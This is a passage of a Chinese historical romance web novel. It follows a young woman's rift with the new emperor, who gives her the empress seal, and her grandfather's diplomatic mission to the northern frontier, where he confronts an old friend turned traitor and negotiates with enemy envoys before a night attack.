徐九涣噎了下:“……你是姑娘家,要矜持。” 话出口,就见闺女神色变了变,有些……意味深长。 “爹爹方才的话,当真是有道理。” “啥?” “爹爹从前与我说,姑娘与男子未有不同,这世间男子做得的事,姑娘家亦可,如今女子不能涉足朝堂,也不过是那宝座上和大殿上坐着的是男子罢了,未必就说他们比姑娘家强出什么来。” 华缨说完,嘴巴一撇,瞅着他道:“男人啊,果真是只有说这话的当下是真心,爹爹睿智呐。” 徐九涣默了片刻,认真道:“我觉得你在骂我。” 华缨盘着腿脚坐着,膝上还铺着半截儿画卷,眨了眨眼道:“那我多不孝啊。” 这父女俩半分正形也无,却是说着掏心窝子的话。 徐九涣道:“你娘想让你平安快活。” 华缨说:“我阿娘也不想看你抱着她的灵位过一辈子。” 闲聊至此,徐九涣端着她桌上的青枣走了。 个倒霉闺女! 门阖上,华缨抿了抿唇,将膝上的画卷收起放去桌案。 她端着油灯正要回床榻,忽的脚步一滞,瞧着那桌案片刻,与椅子落座,打开了手边一只乌木匣,其中放着整齐一叠书信,火印未拆。 看了半晌,华缨还是将那书信原封不动的放了回去。 犹豫不决,滚去睡觉! 崇宁殿。 近三更时,闻津匆匆来叩门,低声禀道:“官家,韩太妃腹中的孩子没保住。” 赵徵笔下未停,淡漠‘嗯’了声。 殿中鎏金香炉将燃尽,沉闷得让人心口不觉紧攥。 闻津欲言又止,终是没说什么,轻着手脚退出了殿中。 旁人不知,可他伺候在官家身侧,瞧得分明,官家是待徐大小姐有意的,可是自那日跪灵,徐大小姐将他们官家撩拨后,便是再无只言片语。 闻津瞧着这些时日,他们官家每三日一封书信,让人送去驿站,可是十日、半月、一月过去,都未收到半截书信的回应。 他们官家初时,每日还会问上两回,期待着,可不知不觉,如今便是连问都没了,每日除却批阅奏疏,便是吃饭睡觉,人也一日较一日的沉了。 今日忍不住的问太傅那话,他们官家也很为难的。 可瞧着太傅那神色,显然是对此事一无所知。 徐鉴实睡了一夜,晨起在堂屋用饭时,跟宋喜说起了华缨的亲事。 依着宋喜的意思,这事早该操办起来了,不然,那好儿郎岂不都被旁人家挑走了? 可泱泱不急,公爹也一副稳坐泰山的架势,宋喜就是想张罗也无处伸手,如今说起,却是逢着国丧,说亲之事不好明目张胆着操办,宋喜有些为难。 徐鉴实道:“不必赶急,留些心就是了,待国丧结束,再正经说这事。” 宋喜颔首,“儿媳记下了。” 华缨埋头吃饭,两颊鼓鼓的嚼着焦饼。 唉。 她也到了要被祖父催着相看儿郎的年纪了呢。 重阳登高,逢着昌隆帝新丧,是以,京中子弟都没敢去游玩。 眼瞧着天儿将冷了,姚家表姐与表兄们想要出城去登高,来问华缨姐弟仨可要同行。 华敏与华宋姐弟俩成日被关在房中读书,听得这事,欢欣鼓舞。当日晚间,华敏便撒娇要祖父放她一日假,徐鉴实倒是也未拒绝,“登高望远,让人备好车马,带些干粮衣物,别着凉。” 华敏喜不自胜,又来晃华缨,“阿姐,一起去玩儿啊。” 华缨心里打鼓,好似耐不住她缠磨,应下了。 是夜。 春居堂偏房的烛火熄了又亮,无人知晓。 折腾了半宿的人滚上乱糟糟的床榻时,木架上搭着一套漂亮繁复的裙衫。 翌日,天朗气清。 华缨姐妹俩登上了姚家的马车。 姚宝湘姐妹几个,瞧着华缨今日盛装,眼珠子险些掉出来。 姚宝璐道:“泱泱,咱们今儿是去登高,不是踏青。” 华缨拢着裙摆,端正坐好,又摁住脑袋上轻晃的蝴蝶翅银簪,“我知道呢。” 姚宝湘掀开帘子,朝两侧瞧瞧,没瞧见预想的人,手中帘子放下,忽的又一顿,目光在跟在马车旁的几个兄弟身上一一扫过,很是仔细。 姚明山被她盯得浑身不自在,凶道:“瞧什么呢?” 姚宝湘哼了声,没答话。 她放下帘子,低声问:“泱泱,你莫不是瞧上他们谁了?” 华缨:“……不是。” 也不怪姚宝湘有此猜想,委实是华缨今日穿着打扮,好似是闺阁中娇羞的小姐,只为情郎一观。 小发包上簪着振翅的蝴蝶银簪,额前描花钿,对襟的裙衫漂亮繁复,便是往日入宫宴,都未见她这般盛装。 华缨鼓了鼓脸颊。 这要她如何说嘛。 说……赵徵可能会来堵她? 还是说,她在期待着见到谁? 马车行过御街,自北门出。 马蹄声清脆,街道两侧小贩叫卖声嘈杂。 华缨掀起身侧窗帘,双臂趴在窗棂处,沿路望着那御街后巍峨肃穆的宫殿。 北郊城外有座腾龙山,官道修建,汴京子弟登高最喜去处。 同行的都是姑娘家,有修好的石阶官道,总归是好走些,山上不时还有凉亭以供休憩歇脚。 马车一路到腾龙山下,几人跳下马车,拿了干粮水囊拾阶而上。 姚明山从另侧绕过来,打趣华缨道:“今日打扮得这样好看,不知道的,还以为你是要会情郎呢。” 华缨眼珠子木了下。 “是吗?” “不是吗?”姚明山一脸的促狭问。 华缨:…… 她默默的跟芳表姐换了个位置,谁要跟聪明鬼说话啊! 几个姑娘走在前面,姚明琢和姚明山兄弟俩跟在后面,防着她们脚下打滑滚下去。 姚宝湘勾着端庄拎裙摆的华缨的手臂,与她说笑话儿,“姚明牧也想来呢,但他要上学堂,昨儿还撒泼打滚儿的说要告假,给大伯揍了哈哈哈哈……” 姚家这仨兄弟,华缨都熟,大表兄稳重,二表兄仗义,豪气云天,三表兄却是纯良天真些,像是快乐的米糕。 华缨听得不禁唇角抿笑,忽的抬眼,在那高耸入云的石阶之上,看见了一道身影,霎时脚步一顿,心口乱了呼吸。 是赵徵。 他今日穿了件墨蓝圆领斜襟袍子,站在半山腰处,那双眸光平静的望来,好似沉沉暮霭。 姚明琢几人也看见了赵徵,连忙行礼,“官家万福。” 华缨好似方才惊醒般回神,眉眼敛起,垂首仓惶福身。 果真,还是不适应的。 撒野惯了的人,哪里会在一朝夕间敛起本性? 可她与赵徵之间,唯有她去适他。 “平身。” 自上一道声音传来。 气氛僵滞又尴尬,姚宝湘脖颈僵直,都觉得那日与赵徵同桌而食,好似黄粱一梦罢了。 她尚且如此,那泱泱呢? 想着,姚宝湘偷偷转着眼珠子去看华缨。 华缨垂着眉眼,脸上无甚神色,澄明的日光下,那额间的花钿衬得这张脸愈发的娴静无色。 “我有几句话,想问问徐大小姐。”赵徵望着那下阶上站着的人道。 姚家几人面面相觑,“泱泱,我们去上面等你。”姚明琢说。 华缨‘嗯’了声。 华敏不愿走,小眉头皱着,看看上面的赵徵,又看看她阿姐,最后还是被姚宝湘拽着走了。 山野幽静。 二人一上一下的站了良久。 华缨垂落的目光里,墨蓝的衣摆被风卷起,那双腿脚停在了她面前。 指甲掐进了掌心,华缨抬眼,笑着问:“官家要问何事?” 赵徵平静的望着她灿若芙蓉的脸,片刻,启唇问:“书信可有收到?” “书信?”华缨作势想了想,“近日是收到几封书信,可都是无落款名讳,我当是谁玩闹,还未拆开瞧过,殿下怎知书信?” 她语气恰到好处的惊讶,目光落在他脸上,那双眼睛却是安静极了。 先前未收到只言片语的回信,赵徵想,她只是忙,后来又想,她许是未得他什么承诺,生了怯意,可是至此时,亲眼瞧着这双眼睛,赵徵忽的明白了。 她将他划在了楚河一端。 这些时日压抑的欲念,在此时如出笼的猛兽,赵徵袖袍下的手隐隐发颤。 “啊……是官家让跟着我的人禀报的吗?”华缨恍然似的说。 “徐华缨!” 两道声音几乎是同时落下。 华缨未合上的唇瓣轻动了下,脸上堆叠的笑意缓缓落下。 赵徵不让她装傻充愣,非要将二人之间那层纸窗撕开,无论多不堪,他都要瞧得真切,半分体面不留。 华缨有些疼,像是被人生生撕裂了一道口子,又好似,她是那纸窗。 “你那日说的心意,可还有半分?”赵徵问。 比半分多,华缨心想,赵徵可真谦虚。 “那书信为何不敢拆,为何不敢回信?”赵徵又问。 华缨看着他,那双眉宇间好似山高雾浓,她未曾听过他这般语气,很平静,却是隐隐又云雷缠着,让人无端生出些寒意。 华缨脑子里忽的冒出了‘伴君如伴虎’这话。 他方才在那位置上坐了两月,已然染了帝王习气,可她从不觉得,什么雷霆雨露皆是君恩,都是放屁! “官家想要我说什么?”华缨问,她脸色冷了下来,“官家高居庙堂,我坐乡野,若非我祖父乃是当朝太傅,官家可会多瞧我一眼?我徐家满门乃是官家朝臣,侍奉君主忠心不二,如今官家顺利继大统,何必劳官家以姻亲借势?” 她一字一句,好似一把锋利的匕首,直往人心口捅。 赵徵脸色沉得可怖,“你再说一遍。” 华缨:。 第68章 臣愿往。 都说帝王一怒,浮尸千里。 华缨目光灼灼的看着赵徵那双生气的眼睛,很奇怪,连月的害怕与担忧,在这一瞬间却是遍寻无踪。 她向来在他跟前放肆,撩拨逗弄的事也没少干,可赵徵也不知是有意纵容,还是……旁的缘故,总是显得束手无策,无可奈何。 方才的违心之言,开口时便是为了逞一时之气,可此时,华缨也说不明白,为何忽的想看看他发脾气。 “殿……官家莫不是被我踩到了痛脚,恼羞成怒?”华缨问。 赵徵看着她,那双眼底的情绪逐渐从阴沉变得失望。 华缨心口忽的沉了下,唇瓣嗫喏,正欲开口,便听赵徵道—— “徐华缨,你当真是无心。” 秋风卷起丝缕的木香,宽袍墨蓝的衣袖擦过华缨的披帛。 她脚尖轻转了下,看着那道挺拔的身影朝山下走去,秋风猎猎,那道孤傲的身影行过几道弯石,便瞧不见了。 而手她里,被塞了一只沉香木匣。 华缨心口坠得紧,不知是因赵徵那句失望至极的指摘,还是因手中沉甸甸之物。 赵徵,竟是将皇后凤印给了她。 一整日,华缨魂不守舍,脑袋好似趴在了赵徵身上下山了似的,她干巴巴的扯着笑,陪着表姐们登高处,插了茱萸,傍晚时分回府,安静下来,神魂逐渐归位,迈进春居堂,却是见正房的门开着,院子里伺候的丫鬟们忙进忙出。 华缨走过来,便听他爹爹喋喋不休—— “厚棉被要带着,仔细将我冻着了,捂手的小金炉也别忘了。” “吃食不必带太多,外面的酒楼也很好吃。” “老头儿该是要给我带银子的吧,总归是不能让我风餐露宿……” “要出门?” 华缨进来,看着乱糟糟的屋子和地上摆着的五口漆红大箱子问。 “回来啦,”徐九涣咬着颗红果看过来,说:“今儿老家传了信来,说是你堂祖父身子不大好,你祖父看过信,求着让我回去瞧瞧。” 华缨怔了下,无暇戳破他这话里的吹牛,问:“回晋陵?” “咔嚓!”徐九涣咬了口脆生生的红果,含糊应了声,又道:“汴京与金陵相隔千里,这一去,过年我未必能回来呢,压岁银子别忘了替我要,都攒着等我回来花……” 当真是操心的紧。 华缨站在屋里,耳边爹爹絮絮叨叨的话,左耳进右耳出,唯有袖中那棱角分明的匣子沉甸甸,也格外烫手的紧。 华缨看着绿稚姐姐带着两个小丫鬟忙得脚不沾地,片刻,咽了咽干涩的喉咙,胸口好似长了蝴蝶翅,扑棱扑棱的忽闪,她幽幽出声说:“我也去。” 徐九涣说了一半,忽的卡了下,“啥?” 反应过来,他故作为难道:“你是大姑娘了,不好再像小时候那样黏人了……” 华缨扭头就走。 “欸——”身后声音喊。 华缨不回头。 “你自个儿收拾衣物啊,明儿早就走!” 翌日,早朝散。 赵徵从殿中出来,闻津跟了上来,禀道:“官家,刚才暗卫来报,说是徐大小姐与徐大爷今日一早便驾马出城了。” 赵徵未出声,抬脚朝后面的崇宁殿走。 今日天色灰蒙蒙的,好似酝酿着一场雨,压得人心口也沉沉的。 闻津觑一眼那阴沉的脸色,硬着头皮又道:“二人背着行囊,瞧着是要出远门。” 话音未落,前面那道明黄身影蓦地脚步顿住,回首看来。 闻津只觉得周遭气氛凝滞,让人头皮发麻。 好半晌,赵徵说:“让老八去跟着,无妨她做什么,护她安危。” 闻津张唇想问一句,老八都被徐大小姐捉住行踪两回了,要不换个旁人,可对着那张肃然冷沉的脸,又将这话吞了回去,“是。” 将有月余,国丧将过。 案牍上多了几张劝新帝立后,充盈后宫的奏疏。 赵徵看过,冷置一旁。 没过几日,却是有朝臣当朝奏禀。 新帝年幼,可也谦逊,朝臣议事之时,多听劝。 立后纳妃的奏禀一出,拥立者众。 徐鉴实站在文臣之首,手持朝笏,躬身垂首,不发一语。 底下朝臣商议热切,哪家姑娘容貌端庄,哪家姑娘秀外慧中,便是芳龄几何都知,不过,不知是有意还是无意,众人都避开了华缨。 赵徵面色沉肃,未置一言。 有人察觉,闭上了嘴,殿中逐渐安静,众人后知后觉这股沉闷气氛,偷偷的去瞧上方端坐的帝王。 待得鸦雀无声,赵徵沉声道:“诸卿坐朝堂,后宫之事,不必再提。” “皇嗣乃国之本,官家再请三思。”谏官道。 赵徵默了片刻,道:“先帝驾崩不足百日,尔等莫不是忘了,他荒淫女色,废寝忘朝的教训,如此劝谏,卿心何安耳!” “官家息怒!”谏官连忙跪地请罚道。 冤死了! 谁家谏官不劝谏官家早日开枝散叶,绵绵瓜瓞,稳固国本? “先帝子嗣众多,纵然来日我不立后,不育皇嗣,国本也断然断不了,诸位幼弟学业之事,还劳太傅费心。” 众臣:? 啥意思?! 赵徵却好似没发觉这一语掀起满朝哗然,径自散朝。 前朝之事,不过半日,便传到了平嘉太后耳中。 晌午时,平嘉太后身边的嬷嬷来请赵徵。 昌隆帝驾崩之后,平嘉太后便搬到了福寿宫,历代太后的宫殿。 赵徵去时,平嘉太后身侧伴着两个妙龄女郎,容貌与苏扶楹有几分相像之处。 “表兄万福。” 二人齐齐福身见礼道。 赵徵眉宇间透出些厌恶来,“母后既是身子无恙,我便回前殿批阅奏章了,国体事忙,若无要事,日后便少来请安了。” “官家再是公务繁忙,吃顿饭的时辰还是要的,”平嘉太后淡淡开口,“这是你外家的两位表妹,进宫来给我请安,不是外人,不必拘礼。” 说罢,平嘉太后道:“摆膳吧。” 殿中伺候的宫人福身退下去准备了。 “母后若是要人陪同用膳,我去吩咐学宫的几个幼弟,晌午不必回皇子所,过来与母后一同用膳。”赵徵说着,朝平嘉太后拱手见礼罢,折身往外走。 啪的一声,茶碗碎在了地上。 身后平嘉太后怒道: “如今便是一顿午膳,都不愿陪我用了?官家手掌大权,可还记得孝道?” 赵徵爱惜名声,是以,依着平嘉太后将昌隆帝死因作伪,他未置一词,也因此,他将韩太妃及那遗腹子都留下了,还派太医好生照拂。 虽是韩太妃那遗腹子未留住,但也不妨他在民间仁善的声望。 此时,平嘉太后以孝道来压他。 赵徵脚步停了片刻,回身道:“母后也知,如今我继大统,掌君权,我何须以姻亲借势?” 平嘉太后神色骤变。 “朝臣若是忠君,我自是用他,荣华富贵还是权势,我都给,又何必以借势姻亲?”赵徵又道,“可若是生了旁的心思,姻亲与否,都绊不住我。” 说罢,他也没去看平嘉太后变得难看的脸色,脚尖一旋,出了殿去。 天渐凉,树叶飘零,如今空落落的枝叶间都不剩几片了。 身后殿中传来瓷瓶砸在地上的声音。 赵徵充耳未闻,大步出了福寿宫。 十月将末,边关忽的传来急报。 北狄频频作乱,民生不稳。 翌日朝上。 文臣说:“北狄此举乃是试探,不如派人前去边关,与北狄和谈,若是不成,再出兵。” 武官摩拳擦掌:“北狄都欺负到了头上,如何能忍?那群草原上的蛮人占了我们五州时日已久,既是他们行不义在前,何不趁势出兵北上,将那些个蛮子杀回老家,咱们将五州夺回来!” “你说的轻巧,国库有多少银钱和粮草可用,你可想过?再者,这将冬日里,冰天雪地,万物不继,行军更是困难,如何能夺回五州?” “那便是我们这帮武将的事了,官家只管下令,备足粮草就是!” “匹夫之勇!” “你才是胆小如鼠!” 朝中吵作一团乱。 徐鉴实躬身问:“官家之意呢?” 赵徵垂着的眸光抬起,片刻,道:“与北狄这一仗,迟早要战。” 武将们昂首挺胸,神气十足的瞧着对面唾沫乱飞的一群文臣。 边关要守,可不是靠着那三寸之舌,而是真刀真枪的在沙场上厮杀的! “诚如诸位大人所说,北狄此举,多是存了心试探我朝虚实,可虚虚实实,都必须是实,户部诸位大人手上正忙的鱼鳞图册之事且放一放,将国库中的银钱和粮草清算一番。” 户部大人领命道:“是。” “东营也好西营也罢,我要能以一敌十的精锐之师,谁能练兵,可毛遂自荐,不问过往功绩,但问真才实学。所练之师,便是来日北征的骁勇悍将。” 此言一出,底下几位将军的神色变了变,面面相觑。 赵徵又道:“兹事体大,如今边关滋扰之事,不足以承帅师之名,谁可愿出使,与北狄筹议商讨?” 朝堂之上瞬间鸦雀无声。 虽说是两国相争,不斩来使,可出使之人,却都是将脑袋挂在裤腰带上的,能否回来,尚未可知。 半晌,徐鉴实出列,道:“启禀官家,臣愿往。” 第69章 祖父。 崇政殿。 窗明几净,殿中陈设多是宫人新换的,今岁新烧制的陶瓷瓶,织花地毯,旁边摆着一尊龙兽形制的香炉,瑞脑消金兽,香烟缭绕。 君臣对坐,之间摆着一方棋盘。 “此去山高路远,太傅年事已高,何必亲临?”赵徵劝道。 徐鉴实看着棋盘,温声道:“食君之俸禄,合该为君分忧,贼子猖狂,此去若不能震慑,只怕边关百姓将苦狄人久矣。” 既是要威慑,文臣之中,他最合适不过。 赵徵默了片刻,手捻棋子,语气好似寻常道:“华缨若是知晓,只怕是怪我。” 徐鉴实:? 这般熟稔语气! 他唇动了动,想问什么,又搁下了。罢了,泱泱既是没与他说,他又何必多问什么。 第一场霜冻将至时,一队人马旗鼓大张的自汴京往北去。 华缨得信时,已至晋陵。 将信看完,一张芙蓉脸黑了。 徐九涣在旁瞧得可乐,“你二叔信中说甚了,怎的这副表情?” 华缨扭头,幽幽道:“祖父去往边关,与狄人筹议了。” 徐九涣神色顿了下,眉梢挑起,嗤笑了声:“这老头儿……” “爹爹不担心?” 徐九涣靠在迎枕上,一副懒怠骨头的闲散模样,道:“他怕是想见见孟固安。” 边关不比汴京繁华,也不比南地富庶热闹,此处黄沙漫天,风紧云急。 一路风餐露宿,不过数日,一行人便抵达了云中镇。 自燕云五州被夺,云中镇便成了我朝北边抵御狄人的最后一道关隘城池。 幡旗猎猎作响,远远的,便见城门前数道身着官袍的身影。 如今接替孟家守城的将军姓陈,敦实黝黑,与一众官员站在一处,瞧着格外的打眼。 车马行近,马蹄与盔甲擦过的辎重声更重。 “那是……禁军?” “瞧着得有百人。” “太傅乃是朝中肱股之臣,官家派百名禁军卫护周全,何须惊讶。”陈将军说着,又低声催促众人整理衣冠。 马车在数丈远处停下。 一名禁军上前,替其掀开车帘,便见一身官袍的徐鉴实躬身下了马车。 “竟是惊劳诸位出城相迎,愧不敢受。”徐鉴实拱手自谦道。 陈将军扯着一个笑来,“是末将惭愧,劳驾太傅大人亲自来处置这寻衅小事。” “将军言重了,边关无小事,将军上报朝廷是对的,”徐鉴实赞道,“此地风沉沙重,诸位守关辛苦了,此番前来,除却筹议,我也奉官家之意,犒劳将士。” 此言一出,众人脸上不免欣喜。 他们边关苦啊,吹风吹沙的,既是犒劳,加官进爵不求,能吃好些,兵器好些,就很好了! “文书且稍晚些,咱们先进城?”徐鉴实温笑道。 “是是是!”陈将军连忙应道。 边关百姓多淳朴,瞧着这浩荡车马兵卫,顿知是朝廷派人来了,陈将军也乐呵呵与那些好奇的百姓,大着嗓门儿介绍道:“这是咱们的太傅大人!” 太傅是多大的官儿,他们不清楚,但既是陈将军都这样高兴,那定是能解他们之难的大官儿!好官儿! 有些摊贩将自家卖的烧饼吃食塞过来,不等禁军赶人,又乐颠颠的跑开,瞧着徐鉴实的目光,好似在瞧一尊活菩萨,满眼期盼。 徐鉴实下榻之地,陈将军安置在了自己府中。 他妻儿都在此地,收拾得也妥帖。 徐鉴实却是道:“无需准备什么,我与诸位将士住营帐就是,也便宜许多。” “也好,咱们营中伙食也好呢!”陈将军拍着胸脯自信道。 旁边那文官眼皮一跳,想说,酒楼都订好了,说好的替这位太傅大人接风洗尘的,可他们将军一高兴,将这茬儿忘了! 将军既是说了,太傅也应了,他倒也不好再说什么,只能将错就错。 晌午,吃着大锅猪肉烩菜大馒头,帐中众人吃得满头大汗,一抬头,却是见那位太傅大人,吃相斯文,竟是半分动静也无,帐中吸溜粉条的声音逐渐消失了。 徐鉴实咽下杂面馒头,道:“诸位请便,不必顾忌我。” 众人面面相觑,不知这话是客气还是能当真的。 陈将军抹了把脑门儿上的汗,道:“多谢太傅大人体谅,此地多战事,大家伙儿也习惯了吃饭狼吞虎咽。” 一旦狼烟起,莫说是吃饭了,便是撒尿的功夫也没啊。 说罢,他吸溜一口粉条大白菜。 “疆土安稳,辛苦诸位将士了。”徐鉴实颔首道。 众人这才松了口气,又大口吃饭。 转过军营,隔日,筹议的文书便送到了狄人营帐中。 两日未得信儿,徐鉴实一副胸有成竹的模样,在营中转悠,或看将士操练,陈将军却是着急上火,忍不住小声问:“太傅,若是北狄不愿筹议会盟要如何?” “那便战。”徐鉴实道。 陈将军:“啊?” 三日时限将至,陈将军偷悄悄让将士枕戈以待时,北狄使者来了。 “十里外的观山亭,将军候太傅亲至。” “太傅!我随你去!”陈将军毛遂自荐道。 “将军得坐镇,以防北狄偷袭。”徐鉴实道,“那人无论诚心筹议否,我之性命,于他无甚功绩,我无危险,几个禁卫军跟着便是了。” 他一副筹谋在心,运权为握的架势,帐中众人心稍安,拱手道:“末将谨遵太傅之意。” 风沙起,月石走。 十里城外观山亭。 徐鉴实自马车下来,抬眼望去,便见那亭中独坐一人,正啃大饼。 几十载过去,曾经意气风发之人,如今却是生了满头华发,长发被被风吹得在半空张牙舞爪,微弯曲的背上背着一柄用黑粗布缠裹的大刀,徐鉴实望了片刻,在面前之人身上却半分都寻不到当年的模样。 “来了,吃过没?”亭中之人朝他晃了晃手中还剩小半的烧饼。 “不必跟前来。”徐鉴实与身侧的禁卫军说了句,拢着被风吹得扬起的衣袖,抬脚朝那亭中走去。 分别时不过而冠之年,再见已是花甲年岁。 徐鉴实步入亭中,怀里便被扔来一张烧饼。 “那会儿还说呢,若有朝一日你来边关,我请你吃最好吃的烧饼,如今罢了,我自个儿都吃不到了,将就垫肚子吧。”孟固安道。 烧饼尚有余温,暖热从掌心却是蔓延不过心口,徐鉴实目光平直的落在孟固安脸上,问:“孟灵你杀的?” “怪她凡事较真儿,竟是发觉了我还活着投敌之事。”孟固安道。 徐鉴实:“虎毒尚不食子。” 孟固安:“若唯有一人能活,那便只能相争。” “徐九涣呢?” “你当我是因你留情?”孟固安大笑,“那小子太会藏了,我找不到。” 边关之地的风,肆虐无忌,笑声在风里透着些自嘲。 徐鉴实默了片刻,道:“为何投敌?” “你指名要我前来会盟,便是想问这个?” “故土对你无牵绊,妻儿老小的性命对你也非紧要,功名利禄你受过,这世间还有什么,”徐鉴实沉吸口气,“还有什么值得你投敌?” 孟固安干枯老态的脸上,神色无处寻,他抬了下下巴,道:“这家烧饼也不错,尝尝。” 徐鉴实好似一拳打在了棉花上。 那些往事只有他耿耿于怀,便是至如今!也难以释怀。 可面前之人,却像是将前尘忘净,顽石坐庄,他无软肋。 “那小皇帝如何?”孟固安将最后一口烧饼塞嘴里问,不等徐鉴实答,他又自顾自的笑说:“你教出来的,定是将你的古板学了十成十。” “北狄王是什么意思,频频侵扰我朝边关,要开战?”徐鉴实反问。 孟固安咽下嘴里的食物,轻描淡写道:“试探罢了,你当朝臣半生,瞧不出来?” 说着,又道:“那小皇帝派你来,就不怕你有来无回?” “北狄百姓若再敢侵扰我边关百姓,下回便不是我这一介手无缚鸡之力的文臣前来了,我朝将士,定荡平你北狄王庭。” 孟固安在灰扑扑的衣裳上擦手,闻言,抬头道:“还有将可用?唔……尹家的?尹家不是早后继无人了,那老家伙还能提的动刀吗?” 徐鉴实对这刻薄之言毫无波澜,淡淡道:“我朝泱泱,良臣将才无数。” “别说大话,你不还稳坐太傅之位?朝中胜你者有谁?”孟固安瞅他道,“怕是气候将尽了吧。” 一来一往,讥讽相对,在旁人瞧来,闲适得好似挚友清谈。 亭外几丈远的禁卫军目光烁烁,严阵以待。 足有两刻钟,徐鉴实方起身,拢着衣袍朝亭外走。 几个禁卫军心都提到了嗓子眼儿,紧盯着亭中独坐的那人,唯恐生变故。 徐鉴实踏出观山亭,身后人扬声喊—— “我还当你会与北狄王要我的项上人头呢。” “你没要,我还当真欢喜呢。” 徐鉴实脚步微顿,他回首,迎着穿透云层的浅薄日光,他的面色平静平和,美髯被风吹得轻扬,有种遗世独立的孑然之感,他与亭中莹莹孑立的孟固安对视片刻,道:“你的命,自会有人来取。” 说罢,他转回身,没再回头,径自上了马车。 第70章 筹议。 我朝始建,太祖便下令与北狄互市,南边的陶瓷布匹运往北边,北地的牛羊骏马也带回了南地。 徐鉴实悠悠的在城中逛边市,身侧跟着陈将军,挺着胸膛骄傲的与他介绍—— “咱们的羊汤可好喝了,配着烧饼,不比汴京酒楼的茶!太傅可要尝尝?我请你喝!” “咱们的牛羊都是从北狄商贩手里买来的,但是他们也仰仗咱们的布料裁衣呢!” “那些奇珍异石,在这儿是平平无奇的石头,但在汴京贵人眼里,便是妆点的宝石,听闻太傅家有两位孙女,可要挑两颗?我出门带银子了!” 二人一路走,一路吃,一路逛。 有时听着街边百姓与商贩讨价还价,徐鉴实还要停下步子听两耳朵。 陈将军不解,但陈将军不问,乖乖的站着等。 一商贩赶着成群结队的羊经过,多瞧了徐鉴实两眼,等他目光落去时,那人收回视线甩着赶羊鞭又往前走。 徐鉴实裹着披风往前走,温声问:“可有边关的百姓,与北狄成婚者?” 陈将军愣了下,继而表情变得有些为难。 在徐鉴实看过来时,他小声说:“是有那些个耐不住首尾的,但因我朝律例,未能登记在册,北狄亦是如此,不能容我朝女子,所以这事纵然是有,也是悄摸着的。” “可若是生子当如何?” “那便是在咱们衙门登记造册了,血脉不正,北狄族人不会认的。” 徐鉴实颔首,往前走了两步,道:“如此,奸细与否,将军也难断。” 陈将军脑袋里轰隆一声。 糟糕!天塌啦! “不、不能吧?”他结巴喃喃道。 “闲话罢了。”徐鉴实说。 他风轻云淡,好似将这话揭过,陈将军却是不然,心口始终惴惴难安。 自观山亭后三日,北狄王派了王庭之臣来,与徐鉴实细商筹议之事。 徐鉴实端坐主位,左下首坐着陈将军与边城诸位官员,右下首乃是一身朝服的北地宰相和两位将军。 “今岁不丰,我们的牛羊宝马也未有多少,既是要重新定盟约,还请太傅体谅,自此后,所换牛羊宝马五成。”满脸络腮胡的北狄宰相傲然道。 此言一出,帐中坐着的边关文臣神色一变,皆看向了徐鉴实。 太傅早已年过半百,脊背却是挺得很直,身穿朝服,神色端肃。 “宰相大人此言差矣,圣祖帝与贵国所立盟约,北狄要与我朝称臣,岁贡马匹牛羊,药材金银,”徐鉴实说着,轻笑了声,“若说今岁不丰,又如何比得过圣祖年间战后,又时逢大旱,据我知,贵国那年的岁贡可是一文不少的送入了我朝。” 圣祖年间定边关,北狄称臣岁贡,这于我朝百姓乃是欢庆鼓舞之事,而于北狄,却是奇耻大辱。 徐鉴实笑眯眯的将这话说出,北狄几人脸上神色顿变得难看至极,这与朝他们脸上甩巴掌又有何异? 陈将军几人听得眼睛瞧瞧觑向上首,太傅这不是戳人伤疤吗?嘿嘿~ “今时不同往日,既是要重新订立盟约,条约自是该新订!”北狄将军道。 “将军莫不是误会了什么,”徐鉴实不疾不徐道,“我承帝王意,来边关乃是告诫那些欲挑我朝与贵国战事的宵小之辈,我朝有与贵国筹议之心,却非是废弃圣祖时缔结的盟约,此乃条例,还望宰相大人与二位将军签议。” 他说着,示意陈将军将手边一约盟书递去对面。 北狄宰相目光扫过,浑厚的一掌拍在了案桌上,“你要我们杀百姓?!” 徐鉴实吃了口茶,端着茶碗的手稳稳当当,他道:“欲挑两国之战,便是千古罪人,于情于理,都不该留。” “你莫不是想要我族内斗,好坐收渔翁之利!” “看来,宰相大人也心知肚明,那屡屡冒犯我边境百姓的宵小究竟是何身份,我朝官家仁厚,不愿见民生疾苦,方才遣我北上与贵国筹议,可若贵国非是诚心,我朝自也不怕,还请宰相大人回禀北狄王,若是不能约束官僚,我朝也大可援手相助。” “你!” “今日之筹议,桌上文书还请签立。”徐鉴实道。 帐中气氛剑拔弩张,陈将军咽了咽唾沫,垂着的手不觉攥紧了袖中藏着的匕首。 北狄将军轻嗤了声,看着徐鉴实的目光滔天恨意,“若是你今日命丧在此,怕是贵国要吃亏些。” “我生我死,与朝何干?”徐鉴实道,“今日便是将军死在我朝营帐,贵国也不过是有个发兵由头罢了,有几人念你,又有几人斥你?” 北狄宰相神色一变,“这种挑拨离间的把戏,不曾想在堂堂太傅身上竟是得以见着。” “既知是手段,又何以蠢得上当?今日之滋事,我朝官家遣的是我,又方知来日是筹议使臣,还是大军压境?” “听闻太傅大人曾议和出使,今日得见,却知是所言非虚了,当真是巧言善辩。” 徐鉴实不在意他的嘲讽,朝他桌案伸手,“请。” 北狄宰相脸色嫌恶的顺着他的手势,朝那文书看了眼,粗声道:“这盟约文书,我要带回给我王过目。” 徐鉴实也不拦着,颇尽风度的将北狄三人送出了营帐。 “太傅,若是北狄不愿签立怎么办?”陈将军皱着脸问。 徐鉴实遥望西南,片刻,语气中温和散尽,带着些锐利之意,“大军驻扎雁门关,无妨他们放肆。” 陈将军:! 那日崇政殿,徐鉴实清楚的看着年轻的帝王眼底的野心勃勃。 圣祖定江山,太祖治国,往后帝王,无人能出其右。 我朝至如今,安稳许久,五州也在北狄手中太久。 赵徵,他要中兴,便要一件史书铭记的功绩,要山河安稳。 粮草自各地调集,大军驻扎雁门关,也不过是比徐鉴实一行晚两日罢了。 筹议又三日,夜半之时,忽的狼烟起! “袭城了!” 70-80 第71章 血日来临。 营中兵戈马蹄声四起。 徐鉴实被惊醒时,还能听见帐外有人吩咐仔细粮草。 他拢着披风出来,便见营中四处点起了火把,烈烈寒风,火光猩红,到处都是疾奔的将士,点兵遣将,气氛紧张透着股肃杀之气。 “太傅。” 守营帐的禁卫军拱手行礼道。 徐鉴实应了声,遥望烽火传来的方向。 将士们驾马赴战场,马蹄声惊醒了这深夜。 坚若磐石的城墙上,陈将军望着那城外黑压压的一片,眉头紧皱,粗声喊:“斥候呢?” “没回来!” 副将说。 他没说的是,这会儿没回,大抵是回不来了。 